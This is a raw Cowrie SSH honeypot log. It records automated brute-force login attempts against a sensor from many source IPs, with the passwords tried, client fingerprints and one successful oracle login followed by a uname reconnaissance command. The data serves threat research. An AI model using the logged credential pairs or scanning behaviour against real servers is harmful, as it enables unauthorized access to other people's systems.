{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":48916,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea22074ae0e2","protocol":"ssh","message":"New connection: 37.233.85.71:48916 (159.203.135.109:22) [session: ea22074ae0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:16.384650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:16.390357Z","src_ip":"37.233.85.71","session":"ea22074ae0e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:16.495368Z","src_ip":"37.233.85.71","session":"ea22074ae0e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5t1","message":"login attempt [root/1q2w3e4r5t1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:16.811637Z","src_ip":"37.233.85.71","session":"ea22074ae0e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:17.246687Z","src_ip":"168.144.95.137","session":"067699ed286d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:17.432784Z","src_ip":"43.134.104.184","session":"088e95deb293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:17.919202Z","src_ip":"37.233.85.71","session":"ea22074ae0e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":50436,"dst_ip":"159.203.135.109","dst_port":22,"session":"daafa006ee40","protocol":"ssh","message":"New connection: 103.77.242.62:50436 (159.203.135.109:22) [session: daafa006ee40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:25.870007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:25.874498Z","src_ip":"103.77.242.62","session":"daafa006ee40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:26.112185Z","src_ip":"103.77.242.62","session":"daafa006ee40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"doberman","message":"login attempt [root/doberman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:26.826013Z","src_ip":"103.77.242.62","session":"daafa006ee40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:28.066609Z","src_ip":"103.77.242.62","session":"daafa006ee40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":40086,"dst_ip":"159.203.135.109","dst_port":22,"session":"53893634098d","protocol":"ssh","message":"New connection: 193.228.128.84:40086 (159.203.135.109:22) [session: 53893634098d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:57.613830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:57.618503Z","src_ip":"193.228.128.84","session":"53893634098d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:57.720463Z","src_ip":"193.228.128.84","session":"53893634098d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2222222","message":"login attempt [root/2222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:58.026861Z","src_ip":"193.228.128.84","session":"53893634098d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:51:59.131480Z","src_ip":"193.228.128.84","session":"53893634098d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.106.207","src_port":55028,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fdaea647e39","protocol":"ssh","message":"New connection: 43.128.106.207:55028 (159.203.135.109:22) [session: 6fdaea647e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:14.295964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:14.300847Z","src_ip":"43.128.106.207","session":"6fdaea647e39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:14.541193Z","src_ip":"43.128.106.207","session":"6fdaea647e39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"godisgreat","message":"login attempt [root/godisgreat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:15.523317Z","src_ip":"43.128.106.207","session":"6fdaea647e39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":42558,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d781638de18","protocol":"ssh","message":"New connection: 103.243.24.124:42558 (10.17.0.5:22) [session: 1d781638de18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:15.758377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:15.769018Z","src_ip":"103.243.24.124","session":"1d781638de18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:15.970305Z","src_ip":"103.243.24.124","session":"1d781638de18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":46284,"dst_ip":"10.17.0.5","dst_port":22,"session":"6380df27b406","protocol":"ssh","message":"New connection: 185.40.30.168:46284 (10.17.0.5:22) [session: 6380df27b406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:16.249569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:16.255626Z","src_ip":"185.40.30.168","session":"6380df27b406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:16.387607Z","src_ip":"185.40.30.168","session":"6380df27b406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"milestone","message":"login attempt [root/milestone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:16.572378Z","src_ip":"103.243.24.124","session":"1d781638de18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:16.763092Z","src_ip":"43.128.106.207","session":"6fdaea647e39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zn","message":"login attempt [root/zn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:16.934871Z","src_ip":"185.40.30.168","session":"6380df27b406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:17.777585Z","src_ip":"103.243.24.124","session":"1d781638de18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:18.066781Z","src_ip":"185.40.30.168","session":"6380df27b406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":59688,"dst_ip":"159.203.135.109","dst_port":22,"session":"f815acd4624a","protocol":"ssh","message":"New connection: 217.154.42.110:59688 (159.203.135.109:22) [session: f815acd4624a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:22.203110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:22.208048Z","src_ip":"217.154.42.110","session":"f815acd4624a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:22.288732Z","src_ip":"217.154.42.110","session":"f815acd4624a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Password1","message":"login attempt [root/!Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:22.646417Z","src_ip":"217.154.42.110","session":"f815acd4624a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":51634,"dst_ip":"159.203.135.109","dst_port":22,"session":"75462adecdf0","protocol":"ssh","message":"New connection: 193.32.162.151:51634 (159.203.135.109:22) [session: 75462adecdf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:23.402460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:23.407080Z","src_ip":"193.32.162.151","session":"75462adecdf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:23.521638Z","src_ip":"193.32.162.151","session":"75462adecdf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:23.730109Z","src_ip":"217.154.42.110","session":"f815acd4624a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle1234","message":"login attempt [oracle/oracle1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:23.820714Z","src_ip":"193.32.162.151","session":"75462adecdf0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:24.061592Z","src_ip":"193.32.162.151","session":"75462adecdf0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:24.065133Z","src_ip":"193.32.162.151","session":"75462adecdf0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:24.165489Z","src_ip":"193.32.162.151","session":"75462adecdf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:24.170722Z","src_ip":"193.32.162.151","session":"75462adecdf0","protocol":"ssh"}
